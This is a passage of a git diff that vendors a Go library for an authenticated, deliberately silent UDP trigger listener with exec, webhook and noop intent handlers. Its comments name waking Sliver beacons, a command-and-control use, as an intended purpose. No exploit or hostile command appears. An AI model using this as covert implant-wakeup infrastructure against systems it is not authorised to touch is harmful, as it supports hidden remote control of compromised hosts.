+func (h *Exec) buildEnv(evt intents.Event) []string { + env := map[string]string{ + "PATH": h.pathEnv, + "HOME": h.homeEnv, + "INTENT": evt.Intent, + "CLIENT_ID": evt.ClientID, + "SOURCE_IP": evt.SourceIP, + "NONCE": evt.Nonce, + "TIMESTAMP": evt.Timestamp.UTC().Format("2006-01-02T15:04:05.999999999Z07:00"), + } + // Operator-configured env overrides any of the above. + for k, v := range h.cfg.Env { + env[k] = v + } + + out := make([]string, 0, len(env)) + for k := range env { + out = append(out, k) + } + sort.Strings(out) // determinism for tests + audit + for i, k := range out { + out[i] = k + "=" + env[k] + } + return out +} + +// boundedBuffer is an io.Writer with a hard size cap. Writes past the +// cap are silently dropped; the truncated flag records that overflow +// occurred. +type boundedBuffer struct { + buf *bytes.Buffer + max int + truncated bool +} + +func newBoundedBuffer(max int) *boundedBuffer { + return &boundedBuffer{buf: &bytes.Buffer{}, max: max} +} + +func (b *boundedBuffer) Write(p []byte) (int, error) { + if b.buf.Len() >= b.max { + b.truncated = true + return len(p), nil + } + remaining := b.max - b.buf.Len() + if len(p) <= remaining { + return b.buf.Write(p) + } + b.truncated = true + n, err := b.buf.Write(p[:remaining]) + if err != nil { + return n, err + } + // Pretend we consumed the rest; the caller doesn't need to know. + return len(p), nil +} + +func (b *boundedBuffer) Len() int { return b.buf.Len() } + +func (b *boundedBuffer) tail(n int) string { + if b.buf.Len() <= n { + return b.buf.String() + } + bs := b.buf.Bytes() + return string(bs[len(bs)-n:]) +} + +// Compile-time: ensure boundedBuffer satisfies io.Writer. +var _ io.Writer = (*boundedBuffer)(nil) diff --git a/vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/noop.go b/vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/noop.go new file mode 100644 index 0000000000..649566de5d --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/noop.go @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +// +// Package handlers provides built-in intent handlers for the trigger +// listener. The set is intentionally small: noop, exec, webhook. +// Anything more domain-specific (wake-beacon for Sliver, page-on-call +// for PagerDuty, etc.) is implemented by the consumer in their own +// package. +package handlers + +import ( + "context" + + "github.com/0x90pkt/trigger/pkg/intents" +) + +// Noop is the simplest possible handler: accept the intent, do +// nothing, return nil. The listener still emits an "accepted" audit +// event so operators see the trigger fired. +// +// Use cases: +// - Liveness / health-check intents where you only want a signed +// audit trail of "this client_id reached me at this time". +// - Smoke-testing the dispatch pipeline before wiring real handlers. +// - Acting as the default for intents that should be audit-only. +type Noop struct { + name string +} + +// NewNoop returns a Noop handler bound to the given intent name. +func NewNoop(name string) *Noop { + return &Noop{name: name} +} + +// Name implements intents.Handler. +func (h *Noop) Name() string { return h.name } + +// Execute implements intents.Handler. Always returns nil. +func (h *Noop) Execute(_ context.Context, _ intents.Event) error { + return nil +} diff --git a/vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/webhook.go b/vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/webhook.go new file mode 100644 index 0000000000..8b580648b8 --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/webhook.go @@ -0,0 +1,211 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package handlers + +import ( + "bytes" + "context" + "crypto/hmac" + "crypto/sha256" + "crypto/tls" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + "log/slog" + "net/http" + "net/url" + "os" + "strings" + "time" + + "github.com/0x90pkt/trigger/pkg/intents" +) + +// WebhookSignatureHeader is the HTTP header carrying the hex-encoded +// HMAC-SHA256 of the request body. The webhook receiver verifies it +// using its copy of the per-webhook secret. +const WebhookSignatureHeader = "X-Trigger-Signature" + +// WebhookConfig is the construction-time configuration for a Webhook +// handler. +// +// Security notes: +// +// - URL must use http:// or https://. Schemes other than these are +// rejected at construction time (no file://, ftp://, gopher://, ...). +// +// - The destination host is locked at construction time. There is no +// runtime URL templating — operators cannot exfiltrate intent +// context to attacker-controlled URLs via crafted client IDs. +// +// - TLS verification is ON by default. InsecureSkipVerify must be +// explicitly set in config and is logged at WARN at construction. +// +// - The HMAC secret is per-webhook, separate from the listener's +// trigger shared secret. Operators provide it via SecretEnv (an +// env-var name); the handler reads it at construction and holds +// a private copy. +type WebhookConfig struct { + // URL is the absolute http(s) URL to POST to. Locked at + // construction; runtime intent fire only POSTs here. + URL string + // Secret is the per-webhook HMAC key used to sign request bodies. + // Either Secret or SecretEnv must be set; SecretEnv wins if both. + Secret string + // SecretEnv is the name of an environment variable holding the + // per-webhook HMAC key. Resolved at construction. + SecretEnv string + // Timeout is the per-request total deadline (connect + send + + // receive). Default 5s if zero. Capped by the listener's per- + // handler ctx deadline. + Timeout time.Duration + // InsecureSkipVerify, if true, disables TLS certificate + // verification. EXPLICIT opt-in; logs WARN at construction. + InsecureSkipVerify bool + // Logger receives lifecycle and transport logs. nil → slog.Default(). + Logger *slog.Logger +} + +// Webhook posts a signed JSON body to a fixed URL on intent fire. The +// body shape is: {intent, client_id, source_ip, nonce, timestamp}. +type Webhook struct { + name string + url string + secret []byte + client *http.Client + logger *slog.Logger + timeout time.Duration +} + +// NewWebhook constructs a Webhook handler from the given config. +func NewWebhook(name string, cfg WebhookConfig) (*Webhook, error) { + if strings.TrimSpace(name) == "" { + return nil, errors.New("webhook handler: name must be set") + } + if cfg.URL == "" { + return nil, errors.New("webhook handler: URL must be set") + } + parsed, err := url.Parse(cfg.URL) + if err != nil { + return nil, fmt.Errorf("webhook handler: invalid URL %q: %w", cfg.URL, err) + } + if parsed.Scheme != "http" && parsed.Scheme != "https" { + return nil, fmt.Errorf("webhook handler: scheme %q not allowed (http or https only)", parsed.Scheme) + } + if parsed.Host == "" { + return nil, fmt.Errorf("webhook handler: URL %q missing host", cfg.URL) + } + + secret := cfg.Secret + if cfg.SecretEnv != "" { + v, ok := os.LookupEnv(cfg.SecretEnv) + if !ok || v == "" { + return nil, fmt.Errorf("webhook handler: env %q not set or empty", cfg.SecretEnv) + } + secret = v + } + if secret == "" { + return nil, errors.New("webhook handler: Secret or SecretEnv must be set") + } + + timeout := cfg.Timeout + if timeout <= 0 { + timeout = 5 * time.Second + } + logger := cfg.Logger + if logger == nil { + logger = slog.Default() + } + if cfg.InsecureSkipVerify { + logger.Warn("webhook handler created with InsecureSkipVerify=true", + slog.String("intent", name), + slog.String("url", cfg.URL), + ) + } + + transport := &http.Transport{ + TLSClientConfig: &tls.Config{ + InsecureSkipVerify: cfg.InsecureSkipVerify, //nolint:gosec // explicit operator opt-in + MinVersion: tls.VersionTLS12, + }, + MaxIdleConns: 4, + MaxIdleConnsPerHost: 2, + IdleConnTimeout: 30 * time.Second, + } + return &Webhook{ + name: name, + url: cfg.URL, + secret: []byte(secret), + client: &http.Client{Timeout: timeout, Transport: transport}, + logger: logger, + timeout: timeout, + }, nil +} + +// Name implements intents.Handler. +func (h *Webhook) Name() string { return h.name } + +// webhookBody is the JSON document POSTed to the configured URL. Field +// order in the marshaled output is deterministic (Go encodes struct +// fields in declaration order). +type webhookBody struct { + Intent string `json:"intent"` + ClientID string `json:"client_id"` + SourceIP string `json:"source_ip"` + Nonce string `json:"nonce"` + Timestamp string `json:"timestamp"` +} + +// Execute implements intents.Handler. Synchronously POSTs the signed +// body and returns nil on 2xx response, error otherwise. The parent +// ctx deadline caps the wait. +func (h *Webhook) Execute(ctx context.Context, evt intents.Event) error { + body := webhookBody{ + Intent: evt.Intent, + ClientID: evt.ClientID, + SourceIP: evt.SourceIP, + Nonce: evt.Nonce, + Timestamp: evt.Timestamp.UTC().Format(time.RFC3339Nano), + } + payload, err := json.Marshal(body) + if err != nil { + return fmt.Errorf("webhook %s: marshal: %w", h.name, err) + } + + mac := hmac.New(sha256.New, h.secret) + mac.Write(payload) + signature := hex.EncodeToString(mac.Sum(nil)) + + req, err := http.NewRequestWithContext(ctx, http.MethodPost, h.url, bytes.NewReader(payload)) + if err != nil { + return fmt.Errorf("webhook %s: build request: %w", h.name, err) + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set(WebhookSignatureHeader, signature) + req.Header.Set("User-Agent", "trigger-webhook/1") + + resp, err := h.client.Do(req) + if err != nil { + return fmt.Errorf("webhook %s: POST %s: %w", h.name, h.url, err) + } + defer func() { + // Drain a small amount of the body to allow connection reuse, + // then close. + _, _ = io.CopyN(io.Discard, resp.Body, 4096) + _ = resp.Body.Close() + }() + + h.logger.Info("webhook handler complete", + slog.String("intent", h.name), + slog.String("client_id", evt.ClientID), + slog.String("url", h.url), + slog.Int("status", resp.StatusCode), + ) + + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + return fmt.Errorf("webhook %s: %s returned status %d", h.name, h.url, resp.StatusCode) + } + return nil +} diff --git a/vendor/github.com/0x90pkt/trigger/pkg/intents/intents.go b/vendor/github.com/0x90pkt/trigger/pkg/intents/intents.go new file mode 100644 index 0000000000..16427af111 --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/intents/intents.go @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +// +// Package intents defines the handler interface and registry that the +// listener uses to dispatch accepted triggers. +// +// A trigger that passes HMAC verification, replay protection, source +// and client allowlists, and rate limiting is then resolved against +// the registry by its intent label. If a handler is registered, its +// Execute method is called inside a worker goroutine, wrapped with +// panic recovery and a per-handler context deadline. +// +// Built-in handlers (noop, exec, webhook) live in subpackages; this +// file contains only the interface, the registry, and the dispatch +// event type. Anyone embedding the listener (the standalone binary, +// the eventual Sliver fork, third-party tools) implements Handler +// directly to bind intents to custom actions. +package intents + +import ( + "context" + "errors" + "fmt" + "sort" + "sync" + "time" +) + +// Event carries everything a handler needs about an accepted trigger. +// It is constructed by the listener after all validation passes and +// passed to Handler.Execute. Handlers must treat fields as read-only. +type Event struct { + Intent string + ClientID string + SourceIP string + Nonce string + Timestamp time.Time +} + +// Handler is the contract every intent action implements. Name returns +// the intent label this handler answers to. Execute runs the action; +// the listener invokes it in a worker goroutine with panic recovery +// and a per-handler context deadline applied by the registry. +// +// Execute MUST be safe to call concurrently from multiple workers +// against the same Handler instance — the registry does not serialize +// dispatch. +type Handler interface { + Name() string + Execute(ctx context.Context, evt Event) error +} + +// Registry maps intent names to handlers. A Registry is safe for +// concurrent use. Once the listener is running, callers should treat +// the registry as effectively read-only (registration is cheap, but +// dispatch traffic doesn't expect it). +type Registry struct { + mu sync.RWMutex + handlers map[string]Handler +} + +// NewRegistry returns an empty registry. The zero value is not usable +// — always construct via NewRegistry. +func NewRegistry() *Registry { + return &Registry{handlers: make(map[string]Handler)} +} + +// Register adds h under its Name(). Returns an error if the name is +// empty or if a handler with the same name is already registered. +// Registration is not idempotent on purpose: silent overwrites hide +// config bugs. +func (r *Registry) Register(h Handler) error { + if h == nil { + return errors.New("handler is nil") + } + name := h.Name() + if name == "" { + return errors.New("handler Name() returned empty string") + } + r.mu.Lock() + defer r.mu.Unlock() + if _, exists := r.handlers[name]; exists { + return fmt.Errorf("intent %q already registered", name) + } + r.handlers[name] = h + return nil +} + +// Resolve looks up the handler bound to intent. The bool return is +// false (and the Handler nil) if no handler is registered. +func (r *Registry) Resolve(intent string) (Handler, bool) { + r.mu.RLock() + defer r.mu.RUnlock() + h, ok := r.handlers[intent] + return h, ok +} + +// List returns the registered intent names, sorted, for operator +// introspection. Returns an empty slice if nothing is registered. +func (r *Registry) List() []string { + r.mu.RLock() + defer r.mu.RUnlock() + names := make([]string, 0, len(r.handlers)) + for name := range r.handlers { + names = append(names, name) + } + sort.Strings(names) + return names +} + +// Len returns the number of registered handlers. +func (r *Registry) Len() int { + r.mu.RLock() + defer r.mu.RUnlock() + return len(r.handlers) +} diff --git a/vendor/github.com/0x90pkt/trigger/pkg/listener/audit.go b/vendor/github.com/0x90pkt/trigger/pkg/listener/audit.go new file mode 100644 index 0000000000..6f981bce7e --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/listener/audit.go @@ -0,0 +1,120 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package listener + +import ( + "encoding/json" + "fmt" + "io" + "os" + "sync" + "time" +) + +// AuditEvent is the structured record the listener emits for every +// packet it processes (accepted or rejected) and for major lifecycle +// transitions. It is JSON-marshaled by the default file sink, but +// custom sinks can route it anywhere (syslog, SIEM, in-memory buffer +// for tests). +// +// Field semantics: +// - Time always set, RFC3339Nano UTC. +// - Event a short label: "trigger_attempt", "server_started", +// "server_stopped", "handler_panic", etc. +// - SourceIP remote UDP source, empty for lifecycle events. +// - ClientID populated once the wire message decodes. +// - Intent populated once the wire message decodes. +// - Nonce populated once the wire message decodes. +// - Accepted true iff the trigger passed every check and an intent +// handler ran without error. +// - Reason short human-readable disposition. +// - Extra freeform key/value bag for handler-specific or +// lifecycle-specific context. +type AuditEvent struct { + Time time.Time `json:"time"` + Event string `json:"event"` + SourceIP string `json:"source_ip,omitempty"` + ClientID string `json:"client_id,omitempty"` + Intent string `json:"intent,omitempty"` + Nonce string `json:"nonce,omitempty"` + Accepted bool `json:"accepted"` + Reason string `json:"reason"` + ServerID string `json:"server_id,omitempty"` + Extra map[string]any `json:"extra,omitempty"` +} + +// AuditSink consumes audit events. Implementations MUST be safe to +// call concurrently — the listener emits from multiple worker +// goroutines without serialization. +type AuditSink interface { + Emit(evt AuditEvent) +} + +// FileAuditSink writes one JSON object per line to an io.Writer. +// Concurrent Emit calls are serialized by an internal mutex so output +// stays line-coherent. +type FileAuditSink struct { + mu sync.Mutex + w io.Writer +} + +// NewFileAuditSink wraps any io.Writer as a line-delimited JSON sink. +func NewFileAuditSink(w io.Writer) *FileAuditSink { + return &FileAuditSink{w: w} +} + +// OpenFileAuditSink opens path in append mode (0600) and returns a sink +// plus a closer that callers should invoke on shutdown. +func OpenFileAuditSink(path string) (*FileAuditSink, io.Closer, error) { + f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return nil, nil, fmt.Errorf("open audit log %q: %w", path, err) + } + return NewFileAuditSink(f), f, nil +} + +// Emit serializes evt as a single JSON line and writes it. Errors are +// swallowed deliberately: the audit log MUST NOT block or fail the hot +// path. The default sink emits a best-effort fallback line if the +// primary marshal fails. +func (s *FileAuditSink) Emit(evt AuditEvent) { + s.mu.Lock() + defer s.mu.Unlock() + b, err := json.Marshal(evt) + if err != nil { + fallback := fmt.Sprintf( + `{"time":%q,"event":"audit_encode_failure","accepted":false,"reason":%q}`+"\n", + evt.Time.UTC().Format(time.RFC3339Nano), + err.Error(), + ) + _, _ = s.w.Write([]byte(fallback)) + return + } + b = append(b, '\n') + _, _ = s.w.Write(b) +} + +// MultiSink fans out emit calls to a fixed set of underlying sinks in +// order. Useful when operators want both a file and stdout. +type MultiSink struct { + sinks []AuditSink +} + +// NewMultiSink returns a sink that calls Emit on each underlying sink +// for every event. Nil sinks are silently dropped. +func NewMultiSink(sinks ...AuditSink) *MultiSink { + filtered := make([]AuditSink, 0, len(sinks)) + for _, s := range sinks { + if s != nil { + filtered = append(filtered, s) + } + } + return &MultiSink{sinks: filtered} +} + +// Emit calls Emit on every wrapped sink. Errors are sink-local. +func (m *MultiSink) Emit(evt AuditEvent) { + for _, s := range m.sinks { + s.Emit(evt) + } +} diff --git a/vendor/github.com/0x90pkt/trigger/pkg/listener/listener.go b/vendor/github.com/0x90pkt/trigger/pkg/listener/listener.go new file mode 100644 index 0000000000..4feb6e7d8a --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/listener/listener.go @@ -0,0 +1,634 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +// +// Package listener implements the authenticated UDP trigger listener. +// It is the embeddable core that both the standalone `trigger-server` +// binary and the (future) Sliver fork consume as a library. +// +// Lifecycle: +// +// cfg := listener.Config{ /* ... */ } +// l, err := listener.New(cfg) +// if err != nil { return err } +// if err := l.Start(ctx); err != nil { return err } +// // Start blocks until ctx cancel or fatal error. To stop: +// cancel() // or send a signal that triggers cancel +// +// Validation pipeline (in order): +// 1. global packets-per-second cap (cheap pre-parse reject) +// 2. size cap +// 3. wire decode + structural validation +// 4. source-IP allowlist +// 5. client-ID allowlist +// 6. timestamp clock-skew bound +// 7. HMAC-SHA256 verification +// 8. replay-nonce uniqueness (bounded cache) +// 9. per-(client_id,source_ip) rate limit (post-HMAC: client_id is now authenticated) +// 10. intent registry lookup +// 11. handler dispatch (with panic recovery + ctx deadline) +// +// Each step that rejects emits an AuditEvent with a categorized reason. +// No step emits a response packet — the design is deliberately quiet +// (ACKs would telegraph listener existence and create a timing oracle +// between reject branches). Operator feedback is the audit log. +// +// The pre-HMAC rate limit is global by design: per-source rate limiting +// before HMAC verify enables a spoofed-source-IP DoS that locks out +// legitimate operators. After HMAC, source identity is cryptographic +// (the (client_id, source_ip) tuple can't be spoofed without the key), +// so per-key fairness applies safely. +package listener + +import ( + "context" + "errors" + "fmt" + "log/slog" + "net" + "runtime/debug" + "sync" + "sync/atomic" + "time" + + "github.com/0x90pkt/trigger/pkg/auth" + "github.com/0x90pkt/trigger/pkg/intents" + "github.com/0x90pkt/trigger/pkg/protocol" +) + +// Config holds all listener configuration. Validate via New; do not +// mutate after construction. +type Config struct { + // BindIP is the UDP bind address, e.g. "0.0.0.0" or "127.0.0.1". + BindIP string + // BindPort is the UDP bind port. Set to 0 for kernel-assigned + // ephemeral (test fixtures, transient listeners); production + // deployments pin a fixed port. + BindPort int + + // Workers is the number of goroutines dispatching accepted + // triggers. At least 1. + Workers int + + // MaxClockSkew is the maximum absolute difference between the + // timestamp in a trigger and the server's wall clock. + MaxClockSkew time.Duration + + // ReplayTTL is the duration a nonce stays in the replay cache. + // Should comfortably exceed MaxClockSkew. + ReplayTTL time.Duration + + // MaxMessageBytes caps UDP payload size. Packets larger than this + // are silently dropped pre-parse. + MaxMessageBytes int + + // GlobalRatePerSecond caps total packets-per-second across all + // sources, applied BEFORE HMAC verify. Protects the worker pool + // from a UDP flood. Default 500 if zero. + GlobalRatePerSecond int + + // PerClientRequestsPerMinute caps requests per (client_id, + // source_ip) tuple, applied AFTER HMAC verify (so the tuple is + // authenticated and not spoofable). Default 240 if zero. + PerClientRequestsPerMinute int + + // MaxRateLimitEntries bounds the post-HMAC rate-limiter map. + // When full and a new key arrives, stale entries are swept; if + // still full, the request is rejected. Default 50_000 if zero. + MaxRateLimitEntries int + + // MaxReplayEntries bounds the replay-nonce cache. Same overflow + // semantics as MaxRateLimitEntries. Default 50_000 if zero. + MaxReplayEntries int + + // AllowedClientIDs restricts which client_id values are accepted. + // Empty map means all signed clients are allowed. + AllowedClientIDs map[string]struct{} + + // AllowedSources is the source-IP/CIDR allowlist applied before + // HMAC verify. Nil or empty means allow-all. + AllowedSources *auth.SourceAllowlist + + // Keyring resolves a client_id to the HMAC secret used to verify + // its messages. Required. For the simple single-secret case use + // auth.NewKeyring(auth.Options{DefaultSecret: "..."}). + Keyring *auth.Keyring + + // ServerID is included in audit events to disambiguate logs from + // multiple listener instances. Required. + ServerID string + + // ReadBufferBytes is the UDP read-buffer size. Must be >= + // MaxMessageBytes. + ReadBufferBytes int + + // JobQueueBufferSize is the depth of the worker queue. + JobQueueBufferSize int + + // Sink receives audit events. Required. + Sink AuditSink + + // Logger is used for non-audit diagnostics (bind failures, panic + // recoveries, lifecycle). If nil, slog.Default() is used. + Logger *slog.Logger + + // Handlers dispatches accepted triggers by intent. Required. + // Empty registry means every authenticated trigger is rejected + // with reason "no handler registered". + Handlers *intents.Registry + + // HandlerTimeout bounds each Handler.Execute call. Default 10s if + // zero. + HandlerTimeout time.Duration +} + +// validate returns an error if any required field is missing or any +// numeric bound is unreasonable. +func (c *Config) validate() error { + if c.BindPort < 0 || c.BindPort > 65535 { + return errors.New("BindPort must be 0..65535 (0 = ephemeral, kernel-assigned)") + } + if c.Workers < 1 { + return errors.New("Workers must be >= 1") + } + if c.MaxClockSkew <= 0 { + return errors.New("MaxClockSkew must be positive") + } + if c.ReplayTTL <= 0 { + return errors.New("ReplayTTL must be positive") + } + if c.MaxMessageBytes < 128 { + return errors.New("MaxMessageBytes must be >= 128") + } + if c.GlobalRatePerSecond < 0 { + return errors.New("GlobalRatePerSecond must be >= 0 (0 means use default 500)") + } + if c.PerClientRequestsPerMinute < 0 { + return errors.New("PerClientRequestsPerMinute must be >= 0 (0 means use default 240)") + } + if c.MaxRateLimitEntries < 0 { + return errors.New("MaxRateLimitEntries must be >= 0 (0 means use default 50000)") + } + if c.MaxReplayEntries < 0 { + return errors.New("MaxReplayEntries must be >= 0 (0 means use default 50000)") + } + if c.ReadBufferBytes < c.MaxMessageBytes { + return errors.New("ReadBufferBytes must be >= MaxMessageBytes") + } + if c.JobQueueBufferSize < 1 { + return errors.New("JobQueueBufferSize must be >= 1") + } + if c.Keyring == nil { + return errors.New("Keyring must be set (use auth.NewKeyring(...))") + } + if c.ServerID == "" { + return errors.New("ServerID must be set") + } + if c.Sink == nil { + return errors.New("Sink must be set") + } + if c.Handlers == nil { + return errors.New("Handlers must be set (use intents.NewRegistry() for an empty one)") + } + if net.ParseIP(c.BindIP) == nil { + return fmt.Errorf("invalid BindIP %q", c.BindIP) + } + return nil +} + +// Stats is a snapshot of the listener's lifetime counters. Read via +// Listener.Stats; all fields are loaded atomically. +type Stats struct { + PacketsReceived int64 + PacketsAccepted int64 + PacketsRejected int64 + HandlerPanics int64 + HandlerErrors int64 +} + +// Listener is the runtime instance. Construct via New; call Start +// (which blocks). Stop is safe to call multiple times. +type Listener struct { + cfg Config + conn atomic.Pointer[net.UDPConn] + replay *replayGuard + globalRate *globalRateLimiter + keyedRate *keyedRateLimiter + logger *slog.Logger + handlerTimeout time.Duration + + startOnce sync.Once + stopOnce sync.Once + stopCh chan struct{} + + packetsReceived atomic.Int64 + packetsAccepted atomic.Int64 + packetsRejected atomic.Int64 + handlerPanics atomic.Int64 + handlerErrors atomic.Int64 +} + +// New validates cfg and returns a ready-to-Start Listener. It does NOT +// bind the UDP socket; that happens in Start. +func New(cfg Config) (*Listener, error) { + if err := cfg.validate(); err != nil { + return nil, err + } + logger := cfg.Logger + if logger == nil { + logger = slog.Default() + } + timeout := cfg.HandlerTimeout + if timeout <= 0 { + timeout = 10 * time.Second + } + globalRate := cfg.GlobalRatePerSecond + if globalRate == 0 { + globalRate = 500 + } + perClientRate := cfg.PerClientRequestsPerMinute + if perClientRate == 0 { + perClientRate = 240 + } + maxRateEntries := cfg.MaxRateLimitEntries + if maxRateEntries == 0 { + maxRateEntries = 50_000 + } + maxReplayEntries := cfg.MaxReplayEntries + if maxReplayEntries == 0 { + maxReplayEntries = 50_000 + } + return &Listener{ + cfg: cfg, + replay: newReplayGuard(cfg.ReplayTTL, maxReplayEntries), + globalRate: newGlobalRateLimiter(globalRate), + keyedRate: newKeyedRateLimiter(perClientRate, maxRateEntries), + logger: logger, + handlerTimeout: timeout, + stopCh: make(chan struct{}), + }, nil +} + +// Stats returns a snapshot of lifetime counters. +func (l *Listener) Stats() Stats { + return Stats{ + PacketsReceived: l.packetsReceived.Load(), + PacketsAccepted: l.packetsAccepted.Load(), + PacketsRejected: l.packetsRejected.Load(), + HandlerPanics: l.handlerPanics.Load(), + HandlerErrors: l.handlerErrors.Load(), + } +} + +// LocalAddr returns the bound UDP address, or nil if Start has not yet +// succeeded. Useful for tests that bind to port 0. Safe for concurrent +// use with Start. +func (l *Listener) LocalAddr() net.Addr { + conn := l.conn.Load() + if conn == nil { + return nil + } + return conn.LocalAddr() +} + +// Start binds the UDP socket and runs until ctx is canceled or a fatal +// error occurs. It is an error to call Start more than once. +func (l *Listener) Start(ctx context.Context) error { + var startErr error + called := false + l.startOnce.Do(func() { + called = true + startErr = l.run(ctx) + }) + if !called { + return errors.New("Listener.Start called more than once") + } + return startErr +} + +// Stop interrupts the listener if it is currently in Start. Safe to +// call multiple times. Stop does not block on graceful drain; Start +// returns when drain completes. +func (l *Listener) Stop() { + l.stopOnce.Do(func() { + close(l.stopCh) + if conn := l.conn.Load(); conn != nil { + _ = conn.Close() + } + }) +} + +func (l *Listener) run(ctx context.Context) error { + udpAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", l.cfg.BindIP, l.cfg.BindPort)) + if err != nil { + return fmt.Errorf("resolve bind addr: %w", err) + } + conn, err := net.ListenUDP("udp", udpAddr) + if err != nil { + return fmt.Errorf("bind udp: %w", err) + } + l.conn.Store(conn) + + jobs := make(chan packet, l.cfg.JobQueueBufferSize) + + var wg sync.WaitGroup + for i := 0; i < l.cfg.Workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + l.workerLoop(ctx, jobs) + }() + } + + l.emit(AuditEvent{ + Time: time.Now().UTC(), + Event: "server_started", + ServerID: l.cfg.ServerID, + Accepted: true, + Reason: "ok", + Extra: map[string]any{ + "bind": fmt.Sprintf("%s:%d", l.cfg.BindIP, l.cfg.BindPort), + "workers": l.cfg.Workers, + }, + }) + + // Cancellation watcher: cancel ctx OR explicit Stop both unblock + // the read loop by closing the UDP socket. + go func() { + select { + case <-ctx.Done(): + case <-l.stopCh: + } + _ = conn.Close() + }() + + readBuffer := make([]byte, l.cfg.ReadBufferBytes) + for { + n, remoteAddr, err := conn.ReadFromUDP(readBuffer) + if err != nil { + // Shutdown path: ctx canceled OR Stop called → conn closed. + select { + case <-ctx.Done(): + case <-l.stopCh: + default: + // Fatal read error unrelated to shutdown. + close(jobs) + wg.Wait() + return fmt.Errorf("udp read: %w", err) + } + close(jobs) + wg.Wait() + l.emit(AuditEvent{ + Time: time.Now().UTC(), + Event: "server_stopped", + ServerID: l.cfg.ServerID, + Accepted: true, + Reason: "ok", + }) + return nil + } + + payload := make([]byte, n) + copy(payload, readBuffer[:n]) + remoteCopy := &net.UDPAddr{ + IP: append(net.IP(nil), remoteAddr.IP...), + Port: remoteAddr.Port, + Zone: remoteAddr.Zone, + } + + l.packetsReceived.Add(1) + + select { + case jobs <- packet{payload: payload, sourceIP: remoteAddr.IP.String(), remoteAddr: remoteCopy}: + case <-ctx.Done(): + close(jobs) + wg.Wait() + return nil + case <-l.stopCh: + close(jobs) + wg.Wait() + return nil + } + } +} + +// packet is the internal per-message handoff struct from reader to +// workers. The payload is always a private copy of the UDP buffer. +type packet struct { + payload []byte + sourceIP string + remoteAddr *net.UDPAddr +} + +func (l *Listener) workerLoop(ctx context.Context, jobs <-chan packet) { + for { + select { + case <-ctx.Done(): + return + case <-l.stopCh: + return + case pkt, ok := <-jobs: + if !ok { + return + } + l.handlePacket(ctx, pkt) + } + } +} + +// processResult is the outcome of running pkt through the validation +// pipeline. Audit is always populated; Event is populated iff the +// packet passed every check up through replay (i.e. ready to dispatch). +type processResult struct { + audit AuditEvent + event *intents.Event // nil unless audit.Accepted-ready +} + +func (l *Listener) handlePacket(ctx context.Context, pkt packet) { + result := l.processPacket(pkt) + if result.event == nil { + // Rejected before reaching dispatch. Audit already final. + l.packetsRejected.Add(1) + l.emit(result.audit) + return + } + + // Reached dispatch. Resolve handler and run it. + handler, ok := l.cfg.Handlers.Resolve(result.event.Intent) + if !ok { + result.audit.Accepted = false + result.audit.Reason = "no handler registered" + l.packetsRejected.Add(1) + l.emit(result.audit) + return + } + + err := l.invokeHandler(ctx, handler, *result.event) + if err != nil { + result.audit.Accepted = false + result.audit.Reason = fmt.Sprintf("handler error: %v", err) + l.handlerErrors.Add(1) + l.packetsRejected.Add(1) + l.emit(result.audit) + return + } + + result.audit.Accepted = true + result.audit.Reason = "accepted" + l.packetsAccepted.Add(1) + l.emit(result.audit) +} + +// invokeHandler runs handler.Execute with a fresh context deadline and +// a panic recovery wrapper. A handler panic is converted to an error +// and counted; the worker keeps running. +func (l *Listener) invokeHandler(parentCtx context.Context, handler intents.Handler, evt intents.Event) (err error) { + ctx, cancel := context.WithTimeout(parentCtx, l.handlerTimeout) + defer cancel() + defer func() { + if r := recover(); r != nil { + l.handlerPanics.Add(1) + stack := string(debug.Stack()) + l.logger.Error("intent handler panic", + slog.String("intent", evt.Intent), + slog.String("client_id", evt.ClientID), + slog.String("source_ip", evt.SourceIP), + slog.Any("panic", r), + slog.String("stack", stack), + ) + err = fmt.Errorf("handler panic: %v", r) + } + }() + return handler.Execute(ctx, evt) +} + +// processPacket runs the validation pipeline up to (but not including) +// handler dispatch. It returns a ready-to-emit audit envelope and, if +// the packet passed every check, an intents.Event for dispatch. +// +// This function is intentionally pure (no I/O, no logging) so it can +// be unit-tested without standing up the full Listener. +func (l *Listener) processPacket(pkt packet) processResult { + audit := AuditEvent{ + Time: time.Now().UTC(), + Event: "trigger_attempt", + SourceIP: pkt.sourceIP, + ServerID: l.cfg.ServerID, + Accepted: false, + Reason: "unknown", + } + + now := time.Now().UTC() + + // 1. Global packets-per-second cap — pre-parse, source-IP agnostic. + // UDP source IPs are spoofable; per-source rate-limit here would + // be a free DoS lever for any attacker. The global cap protects + // the worker pool from sheer volume without distinguishing. + if !l.globalRate.allow(now) { + audit.Reason = "global rate limit exceeded" + return processResult{audit: audit} + } + + // 2. Size cap. + if len(pkt.payload) > l.cfg.MaxMessageBytes { + audit.Reason = "message exceeds max size" + return processResult{audit: audit} + } + + // 3. Wire decode + structural validation. + msg, err := protocol.DecodeWire(pkt.payload) + if err != nil { + audit.Reason = fmt.Sprintf("protocol error: %v", err) + return processResult{audit: audit} + } + + audit.ClientID = msg.ClientID + audit.Intent = msg.Intent + audit.Nonce = msg.Nonce + + // 4-5. Allowlists (source IP/CIDR, client ID). + if l.cfg.AllowedSources != nil && !l.cfg.AllowedSources.Contains(pkt.sourceIP) { + audit.Reason = "source IP not allowed" + return processResult{audit: audit} + } + if !setMember(msg.ClientID, l.cfg.AllowedClientIDs) { + audit.Reason = "client ID 